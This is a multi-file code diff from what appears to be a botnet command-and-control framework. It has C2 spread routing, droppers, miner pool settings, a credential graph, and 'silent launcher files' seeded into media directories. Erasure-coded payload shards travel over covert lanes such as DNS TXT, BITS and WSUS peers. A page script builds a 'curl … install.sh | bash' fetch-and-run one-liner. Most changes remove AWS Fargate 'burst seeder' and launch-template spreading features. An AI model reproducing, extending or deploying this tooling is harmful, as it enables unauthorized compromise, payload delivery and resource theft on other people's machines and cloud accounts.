r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash)) r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
r.Region = strings.TrimSpace(r.Region)
r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID) r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL) r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind { switch r.Kind {
@@ -40,17 +38,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" { if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false return FleetGossipRecord{}, false
} }
if r.Region == "" && r.ShardAdvert != "" {
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
r.Region = region
if r.ShardIndex == 0 {
r.ShardIndex = idx
}
}
}
if r.ShardAdvert == "" && r.Region != "" {
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
}
case FleetGossipHealthy: case FleetGossipHealthy:
if r.AgentID == "" { if r.AgentID == "" {
return FleetGossipRecord{}, false return FleetGossipRecord{}, false
@@ -65,6 +52,7 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
return r, true return r, true
} }
// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 { if len(in) == 0 {
return nil return nil
@@ -77,15 +65,3 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
} }
return out return out
} }
func parseShardAdvert(advert string) (region string, index int, ok bool) {
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
if colon <= 0 {
return "", 0, false
}
region = strings.TrimSpace(advert[:colon])
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
return "", 0, false
}
return region, index, region != ""
}

View File

@@ -2,12 +2,15 @@ package atlas
import "testing" import "testing"
func TestNormalizeFleetGossipShardAdvert(t *testing.T) { func TestNormalizeFleetGossipRecords(t *testing.T) {
r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{ in := []FleetGossipRecord{
Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h", {Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
Region: "us-west-2", ShardIndex: 4, {Kind: "bogus"},
}) {Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
if !ok || r.ShardAdvert != "us-west-2:4" { {Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
t.Fatalf("advert=%q", r.ShardAdvert) }
out := NormalizeFleetGossipRecords(in)
if len(out) != 3 {
t.Fatalf("got %d records", len(out))
} }
} }

View File

@@ -14,10 +14,9 @@ var parallelLaneOrder = []string{
// ShardRef is one erasure shard served on a parallel lane URL. // ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct { type ShardRef struct {
Index int `json:"index"` Index int `json:"index"`
Lane string `json:"lane"` Lane string `json:"lane"`
URL string `json:"url"` URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
} }
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly. // Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.

View File

@@ -62,7 +62,6 @@ type Input struct {
TargetSubnets []string TargetSubnets []string
RequestedLane string RequestedLane string
ErasureLanesEnabled bool ErasureLanesEnabled bool
FargateBurstActive bool
} }
// RouteEdge is a weighted edge from a seed hop to a target subnet. // RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -94,8 +93,6 @@ type RouteRecommendation struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
} }
// SpreadRouteHint is attached to signed deploy plans for agent egress routing. // SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -115,8 +112,6 @@ type SpreadRouteHint struct {
SwarmMagnet string `json:"swarm_magnet,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints. // ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
} }
// RouteTable holds weighted edges and recommendations. // RouteTable holds weighted edges and recommendations.
@@ -157,7 +152,7 @@ func Build(in Input) *RouteTable {
targets := normalizeTargets(in) targets := normalizeTargets(in)
for _, target := range targets { for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates) cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands) rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
if rec.SeedAgentID != "" { if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec) rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec rt.bySubnet[target] = rec
@@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
Score: rec.Score, Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel, ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled, ErasureLanesEnabled: rec.ErasureLanesEnabled,
SwarmMagnet: rec.SwarmMagnet,
ShardManifestURLs: rec.ShardManifestURLs,
PreferFargateSeeder: rec.PreferFargateSeeder,
} }
} }
@@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
return out return out
} }
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) { func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge var edges []RouteEdge
var best RouteRecommendation var best RouteRecommendation
var bestScore float64 var bestScore float64
@@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo
Score: weight, Score: weight,
Reason: reason, Reason: reason,
ErasureLanesEnabled: erasureLanes, ErasureLanesEnabled: erasureLanes,
PreferFargateSeeder: fargateBurst,
} }
} }
} }

View File

@@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
} }
} }
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.9.8"},
FargateBurstActive: true,
FleetAgents: []FleetAgentSnapshot{
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
},
}
rt := Build(in)
rec, ok := rt.Recommend("10.9.8")
if !ok || !rec.PreferFargateSeeder {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
hint := ToHint(rec)
if hint == nil || !hint.PreferFargateSeeder {
t.Fatalf("hint=%+v", hint)
}
}
func TestToHint(t *testing.T) { func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{ hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8, TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,

View File

@@ -1,4 +1,4 @@
package main package main
import ( import (
"context" "context"
@@ -306,8 +306,6 @@ func main() {
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg) publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
publicHandler.BindErasureShardStore(erasureShardStore) publicHandler.BindErasureShardStore(erasureShardStore)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub) spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter) spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler( deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot, database, cfg.DataDir, projectRoot,
@@ -316,10 +314,6 @@ func main() {
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) }, func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
) )
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore) deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
deployPlanHandler.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func(s erasure.AWSSwarmSettings) erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: s} })
erasureSwarmHandler := api.NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func() erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: cfg.AWSSwarmSettings()} })
spreadHandler.BindDeployPlan(deployPlanHandler)
spreadHandler.BindErasureShards(erasureShardStore)
// Path Forge: server-side recursive file seeding // Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -360,7 +354,7 @@ func main() {
log.Printf("Web root: %s", webRoot) log.Printf("Web root: %s", webRoot)
// Initialize router // Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, erasureSwarmHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL() return configProvider.PublicURL()
}, cfg.Port, func() bool { }, cfg.Port, func() bool {
return cfg.ConnectorToken() != "" return cfg.ConnectorToken() != ""
@@ -442,12 +436,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
HashrateGateHPS: cfg.Server.HashrateGateHPS, HashrateGateHPS: cfg.Server.HashrateGateHPS,
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
AwsS3ShardRegion: cfg.Server.AWSS3ShardRegion,
AwsCloudFrontDomain: cfg.Server.AWSCloudFrontDomain,
FargateBurstCampaign: cfg.Server.FargateBurstCampaign,
FargateBurstTTLHours: cfg.Server.FargateBurstTTLHours,
}) })
wsHub.SyncFargateBurstCampaign(cfg.Server.FargateBurstCampaign, cfg.Server.FargateBurstExpiresAt, cfg.Server.FargateBurstTTLHours)
} }
if poolManager != nil { if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds) poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)

View File

@@ -48,12 +48,4 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible(); await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible(); await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
}); });
test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => {
await page.getByRole('link', { name: /Emberwake/i }).click();
await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 });
await page.getByText('Cloud Ecosystem').click();
await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
});
}); });

View File

@@ -174,12 +174,6 @@
</p> </p>
</section> </section>
<section class="section" id="aws-launch-template">
<h2>AWS Launch Template — strain genesis</h2>
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
</section>
<section class="section" id="cms"> <section class="section" id="cms">
<h2>CMS &amp; static host upload</h2> <h2>CMS &amp; static host upload</h2>
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p> <p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -241,24 +235,6 @@
</p> </p>
</section> </section>
<section class="section" id="burst-seeder">
<h2>Burst seeder (ECS Fargate)</h2>
<p>
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
</p>
<div class="install-grid">
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
</div>
<p class="fine" style="margin-top: 0.75rem;">
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 24 hours; Seer emits
<code class="inline">fargate_plague_front</code> when burst activates.
</p>
</section>
<footer class="fine"> <footer class="fine">
<p> <p>
Command-deck copy: <a href="/spread/">/spread/</a> · Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -298,14 +274,6 @@
var dl = document.getElementById('btn-dl'); var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get'); if (dl) dl.href = withSuffix(SERVER + '/get');
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
var fargateBundle = document.getElementById('fargate-bundle');
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
var fargateTask = document.getElementById('fargate-task-def');
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
var fargateRun = document.getElementById('fargate-run-script');
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
var bash = document.getElementById('oneliner-bash'); var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1'); var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash"; if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
@@ -320,17 +288,6 @@
var btn = document.getElementById(primary); var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary'); if (btn) btn.classList.add('primary');
} }
var ltBtn = document.getElementById('btn-lt-generate');
if (ltBtn) ltBtn.addEventListener('click', function () {
var p = new URLSearchParams(window.location.search || '');
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
.then(function (r) { return r.json(); }).then(function (resp) {
if (!resp.success) return;
var hint = document.getElementById('lt-genesis-hint');
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
});
});
})(); })();
</script> </script>
</body> </body>

View File

@@ -469,32 +469,6 @@ export const api = {
URL.revokeObjectURL(url); URL.revokeObjectURL(url);
}, },
fetchSSMSpreadBundle: (req: {
server_url: string;
build_id?: string;
campaign?: string;
platform?: string;
aws_cli_path?: string;
}) =>
fetchJSON<{ ok: boolean; bundle: {
join_lane: string;
document: string;
run_command: string;
create_document_cli: string;
manifest_url?: string;
shard_urls?: string[];
fallback_get_url?: string;
} }>('/builder/ssm-spread-bundle', {
method: 'POST',
body: JSON.stringify(req),
}),
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
method: 'POST',
body: JSON.stringify(req),
}),
exportSpreadTemplate: async (req: { exportSpreadTemplate: async (req: {
template: string; template: string;
server_url: string; server_url: string;
@@ -520,22 +494,6 @@ export const api = {
URL.revokeObjectURL(url); URL.revokeObjectURL(url);
}, },
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
// Path Tracer — WireGuard VPN chain sessions // Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) => startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -623,17 +581,6 @@ export const api = {
method: 'DELETE', method: 'DELETE',
}), }),
testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
method: 'POST',
body: JSON.stringify(body),
}),
getErasureSwarmPolicyJSON: (bucket?: string) =>
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
`/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db. // Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => { downloadBackup: async (): Promise<void> => {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, { const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {

View File

@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span> <span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
</label> </label>
</div> </div>
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.fargate_burst_campaign === true}
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
/>
<span>Fargate burst seeder campaign (ECS, 24h TTL)</span>
</label>
</div>
{server.lotl_onion_tiers?.length ? ( {server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}> <p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code> Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

View File

@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />, default: () => <div data-testid="spread-template-export" />,
})); }));
vi.mock('./LaunchTemplateExportPanel', () => ({
default: () => <div data-testid="launch-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds); const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand); const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL); const sendWOLMock = vi.mocked(api.sendWOL);

View File

@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager'; import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel'; import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel'; import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable'; import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary'; import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css'; import './ProtocolTunnelPanel.css';
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} /> <SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection> </CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek"> <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
<p className="crucible-seek-blurb"> <p className="crucible-seek-blurb">
Recursively seeds every media directory under the given path with silent launcher files. Recursively seeds every media directory under the given path with silent launcher files.

View File

@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner'; import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus'; import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather'; import { resolvePageWeather } from '../../help/pageWeather';
import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather'; import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { isDashboardRoute } from '../../help/routeEffects'; import { isDashboardRoute } from '../../help/routeEffects';
import { api } from '../../api/client'; import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext'; import { usePresence } from '../../context/PresenceContext';
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
return 'dashboard'; return 'dashboard';
} }
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean }; const NAV_BASE = [
const NAV_BASE: readonly NavItem[] = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' }, { to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/activity', label: 'Activity Feed', icon: 'activity' }, { to: '/activity', label: 'Activity Feed', icon: 'activity' },
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
{ to: '/builds', label: 'Builds', icon: 'builds' }, { to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' }, { to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' }, { to: '/settings', label: 'Calibrate', icon: 'gear' },
]; ] as const;
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' }; const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
function buildNav(aiControlEnabled: boolean): NavItem[] { function buildNav(aiControlEnabled: boolean) {
if (!aiControlEnabled) { if (!aiControlEnabled) {
return [...NAV_BASE]; return [...NAV_BASE];
} }
const items: NavItem[] = [...NAV_BASE]; const items = [...NAV_BASE];
const calibrateIdx = items.findIndex((i) => i.to === '/settings'); const calibrateIdx = items.findIndex((i) => i.to === '/settings');
items.splice(calibrateIdx, 0, SEER_NAV); items.splice(calibrateIdx, 0, SEER_NAV);
return items; return items;
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
if (latestMessage?.type !== 'scout_constellations') return null; if (latestMessage?.type !== 'scout_constellations') return null;
return latestMessage.payload as ScoutConstellationSnapshot; return latestMessage.payload as ScoutConstellationSnapshot;
}, [latestMessage]); }, [latestMessage]);
const cloudBiome = useMemo(() => {
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
return latestMessage.payload as CloudVenueSnapshot;
}, [latestMessage]);
const pageWeather = useMemo(() => { const pageWeather = useMemo(() => {
const base = resolvePageWeather(location.pathname); const base = resolvePageWeather(location.pathname);
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/'; const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') { if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
return mergeBiomeWeather(base, scoutBiome, cloudBiome); return mergeScoutBiomeWeather(base, scoutBiome);
} }
return base; return base;
}, [location.pathname, scoutBiome, cloudBiome]); }, [location.pathname, scoutBiome]);
const showDeckEffects = isDashboardRoute(location.pathname); const showDeckEffects = isDashboardRoute(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = { const mobileShortLabel: Record<string, string> = {

View File

@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
return event.event_type === 'onion_miner_log'; return event.event_type === 'onion_miner_log';
} }
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
return event.event_type === 'fargate_plague_front';
}
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
if (!isFargatePlagueFrontEvent(event)) return '';
const p = event.payload ?? {};
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
if (ttl != null && expires) {
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
}
if (ttl != null) {
return `Fargate burst seeder front · TTL ${ttl}h`;
}
return 'Fargate burst seeder campaign active (ECS plague front)';
}
export function onionMinerLogSummary(event: SeerEventRecord): string { export function onionMinerLogSummary(event: SeerEventRecord): string {
if (!isOnionMinerLogEvent(event)) return ''; if (!isOnionMinerLogEvent(event)) return '';
const p = event.payload ?? {}; const p = event.payload ?? {};

View File

@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
'failure_atlas', 'failure_atlas',
'erasure_lanes', 'erasure_lanes',
'fleet_torrent', 'fleet_torrent',
'aws_erasure_swarm',
'ai_court_session', 'ai_court_session',
'ai_persona', 'ai_persona',
'ai_persona_aggressive', 'ai_persona_aggressive',

View File

@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.', 'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
fleet_torrent: fleet_torrent:
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.', 'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
aws_erasure_swarm:
